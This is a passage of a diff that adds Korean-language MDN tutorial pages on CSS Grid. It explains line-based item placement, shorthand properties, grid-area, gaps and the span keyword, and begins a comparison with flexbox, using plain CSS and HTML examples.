+
+<h2 id="라인_번호로_아이템_배치하기">라인 번호로 아이템 배치하기</h2>
+
+<p>아이템들을 그리드 위 어느 곳에 자리 잡게 할지 조정할 때는 라인을 기준으로 배치할 수 있습니다. 우선 아래 예제에서는 첫 번째 아이템을 그리드의 맨 왼쪽부터 시작해서 하나의 열 트랙에 자리하도록 하였습니다. 또한, 그리드 상단에 있는 첫 번째 행부터 시작해서 네 번째 행까지 확장하도록 하였습니다.</p>
+
+<div id="Line_Number">
+<pre class="brush: css">.box1 {
+   grid-column-start: 1;
+   grid-column-end: 2;
+   grid-row-start: 1;
+   grid-row-end: 4;
+}
+</pre>
+
+<p>몇몇 아이템의 위치를 지정해주면, 그리드에 있는 나머지 다른 아이템들은 자동 배치 규칙에 따라 연달아 놓이게 됩니다. 이 규칙은 나중에 가이드에서 어떻게 작동하는지 자세히 살펴볼 예정입니다만, 그리드와 작업하시면 자리를 지정하지 않은 아이템은 그리드의 비어있는 셀에 자동 배치되는 것을 자주 목격하실 수 있습니다.</p>
+
+<p>각 아이템을 개별적으로 지정해서 행과 열 트랙에 걸쳐 네 개의 아이템들을 모두 배치할 수 있습니다. 원하시면 여기에 몇몇 셀들을 그냥 비워 둘 수도 있습니다. 그리드 레이아웃의 장점 중 하나는, 비어 있는 공간으로 다른 요소가 떠올라 채워지는 것을 막기 위해 마진을 써서 밀어낼 필요가 없어서, 흰 여백이 들어간 디자인을 쉽게 구현할 수 있다는 점입니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box2 {
+   grid-column-start: 3;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+}
+.box3 {
+   grid-column-start: 2;
+   grid-column-end: 3;
+   grid-row-start: 1;
+   grid-row-end: 2;
+}
+.box4 {
+   grid-column-start: 2;
+   grid-column-end: 4;
+   grid-row-start: 3;
+   grid-row-end: 4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Line_Number', '300', '330') }}</p>
+</div>
+
+<div id="Grid_Shorthands">
+<h2 id="grid-column과_grid-row_단축용법"><code>grid-column</code>과 <code>grid-row</code> 단축용법</h2>
+
+<p>앞의 예제에선 각 아이템을 배치하기 위해 상당히 많은 코드가 작성되었습니다. 그래서 여기엔 분명 {{glossary("shorthand properties", "단축용법")}}이 있을 거란 예상을 충분히 할 수 있습니다. 실제 {{cssxref("grid-column-start")}}와 {{cssxref("grid-column-end")}} 프로퍼티는 {{cssxref("grid-column")}}으로 합칠 수 있으며, {{cssxref("grid-row-start")}}와 {{cssxref("grid-row-end")}}는 {{cssxref("grid-row")}} 프로퍼티로 정의할 수 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+   grid-column: 1 / 2;
+   grid-row: 1 / 4;
+}
+.box2 {
+   grid-column: 3 / 4;
+   grid-row: 1 / 3;
+}
+.box3 {
+   grid-column: 2 / 3;
+   grid-row: 1 /  2;
+}
+.box4 {
+   grid-column: 2 / 4;
+   grid-row: 3 / 4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Grid_Shorthands', '300', '330') }}</p>
+</div>
+
+<h3 id="기본_폭(spans)">기본 폭(spans)</h3>
+
+<p>위 예제에선, 프로퍼티의 사용법을 설명하려고 모든 행과 열의 마지막 라인을 지정하였습니다. 하지만, 아이템이 오직 하나의 트랙만 차지한다면 <code>grid-column-end</code>와 <code>grid-row-end</code> 값은 생략할 수 있습니다. 그리드는 기본적으로 하나의 트랙에 걸치게 돼 있습니다. 이 말은 처음의 장황했던 예제가 다음처럼 단축될 수도 있습니다:</p>
+
+<div id="End_Lines">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+   grid-column-start: 1;
+   grid-row-start: 1;
+   grid-row-end: 4;
+}
+.box2 {
+   grid-column-start: 3;
+   grid-row-start: 1;
+   grid-row-end: 3;
+}
+.box3 {
+   grid-column-start: 2;
+   grid-row-start: 1;
+}
+.box4 {
+   grid-column-start: 2;
+   grid-column-end: 4;
+   grid-row-start: 3;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('End_Lines', '300', '330') }}</p>
+</div>
+
+<p>또한, 단축용법을 사용했던 예제 중 오직 하나의 트랙에 걸쳐 있는 아이템의 경우에는 뒤로 누운 슬래쉬와 두 번째 값을 생략하고 다음처럼 정의할 수 있습니다.</p>
+
+<div id="New_Shorthand">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+   grid-column: 1 ;
+   grid-row: 1 / 4;
+}
+.box2 {
+   grid-column: 3 ;
+   grid-row: 1 / 3;
+}
+.box3 {
+   grid-column: 2 ;
+   grid-row: 1 ;
+}
+.box4 {
+   grid-column: 2 / 4;
+   grid-row: 3 ;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('New_Shorthand', '300', '330') }}</p>
+</div>
+
+<h2 id="grid-area_프로퍼티"><code>grid-area</code> 프로퍼티</h2>
+
+<p>우리는 여기서 한 발 더 나가 각 영역을 단 하나의 프로퍼티인 {{cssxref("grid-area")}}로 정의할 수도 있습니다. <code>grid-area</code> 값의 순서는 다음과 같습니다.</p>
+
+<ul>
+ <li>grid-row-start</li>
+ <li>grid-column-start</li>
+ <li>grid-row-end</li>
+ <li>grid-column-end</li>
+</ul>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+   grid-area: 1 / 1 / 4 / 2;
+}
+.box2 {
+   grid-area: 1 / 3 / 3 / 4;
+}
+.box3 {
+   grid-area: 1 / 2 / 2 / 3;
+}
+.box4 {
+   grid-area: 3 / 2 / 4 / 4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('grid-area_프로퍼티', '300', '330') }}</p>
+
+<p><code>grid-area</code> 값의 순서는 약간 이상하게 보일 수도 있는데, 예를 들어 마진과 패딩을 단축용법을 써서 지정할 때의 순서와 완전 정반대입니다. 하지만, 그리드가 CSS 문서 작성 모드(CSS Writing Modes) 표준 명세서에 정의된 문서 흐름과 관련된 방향을 채용해서 사용한다는 것을 알게 되면 이해하기 쉽습니다. 차후에 그리드가 문서 작성 모드에 따라 어떻게 작용하는지 알아볼 예정입니다만, 개념상 다음과 같이 문서 흐름과 관련된 네 가지 방향이 있습니다:</p>
+
+<ul>
+ <li>block-start</li>
+ <li>block-end</li>
+ <li>inline-start</li>
+ <li>inline-end</li>
+</ul>
+
+<p>예를 들자면, 영문으로 쓰인 문서는 왼쪽에서 오른쪽으로 읽습니다. 이 경우 block-start는 그리드 컨테이너의 맨 위쪽에 있는 가로 행 라인이 차지하고, block-end는 컨테이너의 매 마지막 행에 있는 라인에 해당합니다. inline-start는 항상 현재의 문서 작성 모드에 따라 텍스트가 써지는 시작 지점이기 때문에 맨 왼쪽에 있는 세로 열 라인이 여기에 해당하고, inline-end는 그리드의 오른쪽 마지막 끝에 있는 세로 열 라인이 됩니다.</p>
+
+<p><code>grid-area</code> 프로퍼티를 써서 그리드 영역을 지정할 땐, 우선 시작 라인인 <code>block-start</code>와 <code>inline-start</code>를 먼저 정의하고, 나중에 마지막 라인으로 <code>block-end</code>와 <code>inline-end</code>를 정의합니다. 이것은 보통 우리가 top, right, bottom 그리고 left 순서의 물리적 프로퍼티를 사용하는 데 익숙하다는 점을 생각하면 이상하게 보일 수도 있지만, 웹사이트의 문서 작성 모드가 여러 방향일 수 있다는 점을 고려하면 이해가 쉬우실 겁니다.</p>
+
+<h2 id="거꾸로_세기">거꾸로 세기</h2>
+
+<p>우리는 또한 그리드의 블록(block)과 인라인(inline) 지점의 끝에서부터 거꾸로 셀 수도 있는데, 영문 문서의 경우 이것은 맨 오른쪽 세로 열 라인과 마지막 가로 행 라인이 여기에 해당합니다. 이 라인들은 <code>-1</code>로 지칭할 수 있으며, 여기서 거꾸로 셀 수도 있습니다. 그래서 끝에서 두 번째 라인은 <code>-2</code>가 됩니다. 한 가지 주의할 점은, 여기서 말하는 마지막 라인은 <em>명시적으로</em> <code>grid-template-columns</code>와 <code>grid-template-rows</code>로 정의한 그리드에 있는 마지막 라인을 가리키며, 이 바깥에 있는 <em>잠재적 그리드</em>에 추가된 행이나 열을 고려하지는 않습니다.</p>
+
+<p>다음 예제에는 아이템을 배치할 때 그리드의 오른쪽과 아래에서부터 작업을 시작해서 이전에 작성했던 레이아웃을 거꾸로 뒤집어 보았습니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+   grid-column-start: -1;
+   grid-column-end: -2;
+   grid-row-start: -1;
+   grid-row-end: -4;
+}
+.box2 {
+   grid-column-start: -3;
+   grid-column-end: -4;
+   grid-row-start: -1;
+   grid-row-end: -3;
+}
+.box3 {
+   grid-column-start: -2;
+   grid-column-end: -3;
+   grid-row-start: -1;
+   grid-row-end: -2;
+}
+.box4 {
+   grid-column-start: -2;
+   grid-column-end: -4;
+   grid-row-start: -3;
+   grid-row-end: -4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('거꾸로_세기', '300', '330') }}</p>
+
+<h3 id="그리드_전체에_걸치도록_아이템_늘리기">그리드 전체에 걸치도록 아이템 늘리기</h3>
+
+<p>아이템을 그리드 전체에 걸치도록 늘리려 할 때 유용한 방법으로 다음과 같이 그리드의 시작과 끝의 라인을 지정해줄 수 있습니다:</p>
+
+<pre class="brush: css">.item {
+  grid-column: 1 / -1;
+}
+</pre>
+
+<h2 id="경계_여백_혹은_간격">경계 여백 혹은 간격</h2>
+
+<p>CSS 그리드 표준 명세서에는 {{cssxref("grid-column-gap")}}과 {{cssxref("grid-row-gap")}} 프로퍼티를 써서 열과 행 트랙 사이에 경계 여백을 정의해 줄 수 있는 기능이 포함되어 있습니다. 이것은 다중 칼럼 레이아웃에 있는 {{cssxref("column-gap")}} 프로퍼티와 비슷하게 작용해서 트랙 사이의 간격을 지정합니다.</p>
+
+<p>간격은 오직 그리드의 트랙 사이에서만 위치하고, 컨테이너의 위나 아래 혹은 왼쪽과 오른쪽에 공간을 추가하지 않습니다. 이전 예제에 있는 그리드 컨테이너에 여기에 소개한 프로퍼티를 사용하여 간격을 추가한 모습을 아래에서 확인하실 수 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+   grid-column: 1 ;
+   grid-row: 1 / 4;
+}
+.box2 {
+   grid-column: 3 ;
+   grid-row: 1 / 3;
+}
+.box3 {
+   grid-column: 2 ;
+   grid-row: 1 ;
+}
+.box4 {
+   grid-column: 2 / 4;
+   grid-row: 3 ;
+}
+.wrapper {
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+     grid-column-gap: 20px;
+     grid-row-gap: 1em;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('경계_여백_혹은_간격', '300', '350') }}</p>
+
+<h3 id="그리드_간격의_단축용법">그리드 간격의 단축용법</h3>
+
+<p>앞서 소개한 두 개의 프로퍼티 또한 단축용법인 {{cssxref("grid-gap")}}으로 표현해 줄 수 있습니다. 만약에 <code>grid-gap</code> 값으로 하나만 지정하면, 열과 행 간격 모두에 같이 적용됩니다. 그리고 두 개의 값을 지정하면, 처음 것은 <code>grid-row-gap</code>에 사용되고 두 번째 것은 <code>grid-column-gap</code>에 사용됩니다.</p>
+
+<pre class="brush: css">.wrapper {
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+     grid-gap: 1em 20px;
+}
+</pre>
+
+<p>라인을 기준으로 한 아이템 배치 관점에서 보면, 이 간격은 마치 라인에 너비를 더한 것처럼 작용합니다. 특정 라인을 시작으로 배치되는 아이템은 간격 다음에 있는 지점에서부터 놓이게 되며, 간격을 차지하거나 그 안에 배치될 수 없습니다. 만약에 경계 여백이 일반 트랙처럼 작용하길 원하시면, 대신에 해당 목적의 트랙을 따로 지정해서 사용하길 바랍니다.</p>
+
+<h2 id="span_키워드_사용법"><code>span</code> 키워드 사용법</h2>
+
+<p>번호를 붙여서 시작과 마지막 라인을 지정하는 법과 더불어, 시작 라인을 지정한 후 원하는 만큼의 영역을 가로질러 확장하는 트랙의 수를 지정해서 사용하실 수도 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+  grid-column: 1;
+  grid-row: 1 / span 3;
+}
+.box2 {
+   grid-column: 3;
+   grid-row: 1 / span 2;
+}
+.box3 {
+   grid-column: 2;
+   grid-row: 1;
+}
+.box4 {
+   grid-column: 2 / span 2;
+   grid-row: 3;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('span_키워드_사용법', '300', '330') }}</p>
+
+<p>또한, <code>grid-row-start</code>/<code>grid-row-end</code> 그리고 <code>grid-column-start/grid-column-end</code> 값에도 <code>span</code> 키워드가 쓰일 수 있습니다. 다음의 두 예제에서는 서로 같은 그리드 영역을 만듭니다. 첫 번째 예제에서는 가로 열의 시작 라인을 지정한 후에, 마지막 라인은 3개의 라인을 가로질러 위치하도록 설정하였습니다. 그래서 영역은 1번 라인부터 시작해서 3개의 라인을 가로질러 4번 라인까지 차지하게 됩니다.</p>
+
+<pre>.box1 {
+    grid-column-start: 1;
+    grid-row-start: 1;
+    grid-row-end: span 3;
+}
+</pre>
+
+<p>두 번째 예제에선, 아이템이 끝나는 지점에 있는 마지막 라인을 지정한 다음 시작 라인을 <code>span 3</code>으로 설정하였습니다. 이 얘기는 아이템이 지정한 마지막 가로 열 라인으로부터 위쪽으로 확장해야 한다는 뜻입니다. 이렇게 하면, 영역은 4번 라인부터 시작해서 3개의 라인을 가로질러 1번 라인까지 차지하게 됩니다.</p>
+
+<pre>.box1 {
+    grid-column-start: 1;
+    grid-row-start: span 3;
+    grid-row-end: 4;
+}
+</pre>
+
+<p>그리드 라인을 기준으로 아이템을 배치하는 법에 익숙해지시려면, 다양한 수의 열로 이뤄진 그리드에 아이템들을 배치하시면서 몇 가지 일반적 레이아웃을 만들어보는 여러 시도를 해보시기 바랍니다. 여기서 주의할 점은 모든 아이템의 위치를 일일이 지정하지 않았다면, 나머지 아이템들은 자동 배치 규칙에 따라 배치된다는 것을 명심하시기 바랍니다. 이런 레이아웃이 원하시는 것일 수도 있지만, 만약에 의도치 않은 곳에 아이템이 표시된다면, 해당 아이템의 위치를 지정해 주었는지 꼭 확인해 보십시오.</p>
+
+<p>또한, 그리드에 배치된 아이템들은 원하시면 명확히 지정해서 서로 자리가 겹치게 할 수도 있다는 것을 잊지 마십시오. 이렇게 하면 특이하고 멋진 효과를 만들어 낼 수도 있습니다만, 만약에 시작 혹은 마지막 라인을 잘못 지정해 놓았다면, 의도치 않은 곳에서 서로 겹쳐 버리는 결과를 가져올 수도 있습니다. <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Highlighter</a>는 배우시면서 매우 유용하게 사용될 수 있는데, 특히나 그리드가 상당히 복잡한 경우에는 더 그렇습니다.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/ko/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃</a></li>
+ <li data-default-state="open"><a href="#"><strong>가이드</strong></a>
+  <ol>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃의_기본_개념">그리드 레이아웃의 기본 개념</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃과_다른_레이아웃_방법과의_관계">다른 레이아웃 방법과의 관계</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_그리드의_라인을_기준으로_한_아이템_배치">라인을 기준으로 한 아이템 배치</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_템플릿_영역">그리드 템플릿 영역</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/이름이_주어진_그리드_라인을_이용한_레이아웃">이름이 주어진 그리드 라인을 이용한 레이아웃</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>프로퍼티</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>용어집</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/css/css_grid_layout/relationship_of_grid_layout/index.html b/files/ko/web/css/css_grid_layout/relationship_of_grid_layout/index.html
new file mode 100644
index 0000000000..8483386140
--- /dev/null
+++ b/files/ko/web/css/css_grid_layout/relationship_of_grid_layout/index.html
@@ -0,0 +1,625 @@
+---
+title: Relationship of grid layout to other layout methods
+slug: Web/CSS/CSS_Grid_Layout/Relationship_of_grid_layout
+tags:
+  - CSS
+  - CSS Grids
+  - Guide
+translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
+---
+<p>CSS 그리드 레이아웃은 레이아웃 작업을 위한 전체 시스템 중의 일부로서, 다른 CSS 기술과 함께 어우러져 작동하도록 설계되었습니다. 이번 가이드에서는 이미 사용하고 계신 다른 기술과 그리드가 어떻게 잘 어울리는지 설명해 드리겠습니다.</p>
+
+<h2 id="그리드와_플랙스박스">그리드와 플랙스박스</h2>
+
+<p>CSS 그리드 레이아웃과 <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS 플랙스박스(Flexbox) 레이아웃</a>의 기본 차이점이라면, 플랙스박스는 한 줄로 된 행 <em>혹은</em> 열 방향의 레이아웃과 같이 일차원의 레이아웃을 염두에 두고 설계되었다는 점입니다. 하지만, 그리드는 행과 열 모두를 염두에 둔 2차원적 레이아웃을 고려해서 설계되었습니다. 그러나 두 기술은 몇 가지 공통된 면모를 공유하고 있어서, 이미 플랙스박스 사용법을 익히셨다면 그리드를 이해하는 데도 도움이 될 만한 둘 사이의 유사점을 목격하실 수도 있습니다.</p>
+
+<h3 id="1차원적_대비_2차원적_레이아웃">1차원적 대비 2차원적 레이아웃</h3>
+
+<p>간단한 예를 들면, 1차원 및 2차원 레이아웃의 차이점은 확연해집니다.</p>
+
+<p>첫 번째 예제에서는 플랙스박스를 써서 일련의 네모난 상자들을 배치하였습니다. 컨테이너 안에는 다섯 개의 자식 아이템이 있고, 플랙스 기준값 200픽셀을 기반으로 아이템이 늘어나거나 줄어들도록 flex 프로퍼티 값을 지정하였습니다.</p>
+
+<p>또한, {{cssxref("flex-wrap")}} 프로퍼티 값으로 <code>wrap</code>을 지정해서, 만약 컨테이너 안에 있는 공간이 플랙스 기준값 너비의 아이템들을 모두 나열하지 못할 만큼 좁아진다면, 다음 행으로 줄 바꿈 하도록 하였습니다.</p>
+
+<div id="onedtwod">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+  &lt;div&gt;Four&lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: flex;
+  flex-wrap: wrap;
+}
+.wrapper &gt; div {
+  flex: 1 1 200px;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('onedtwod', '500', '230') }}</p>
+
+<p>위의 그림에서 보시다시피, 두 개의 아이템이 다음 행으로 줄 바꿈 한 것을 확인하실 수 있습니다. 이 아이템들은 남은 공간을 공유하며 아래 위치한 아이템들은 위에 있는 것들과는 일렬로 정렬되지 않았습니다. 이는 플랙스 아이템이 다음 열로 감길 때, 새로운 각각의 행 (또는 세로 열 기준으로 작업할 경우 각각의 열)이 새로운 플랙스 컨테이너가 되기 때문입니다. 그래서 공간의 분배는 가로 행을 기준으로 이루어집니다.</p>
+
+<p>여기서 자주 던지는 질문으로, 그러면 이런 아이템을 어떻게 하면 일렬로 정렬할 수 있을까입니다. 이럴 땐 2차원적 레이아웃 방법을 고려해 볼 수 있습니다. 아이템을 정렬할 때 행과 열을 기준으로 제어하고 싶다면, 이런 경우엔 그리드가 제격입니다.</p>
+
+<h3 id="CSS_그리드를_이용한_동일_레이아웃_구현">CSS 그리드를 이용한 동일 레이아웃 구현</h3>
+
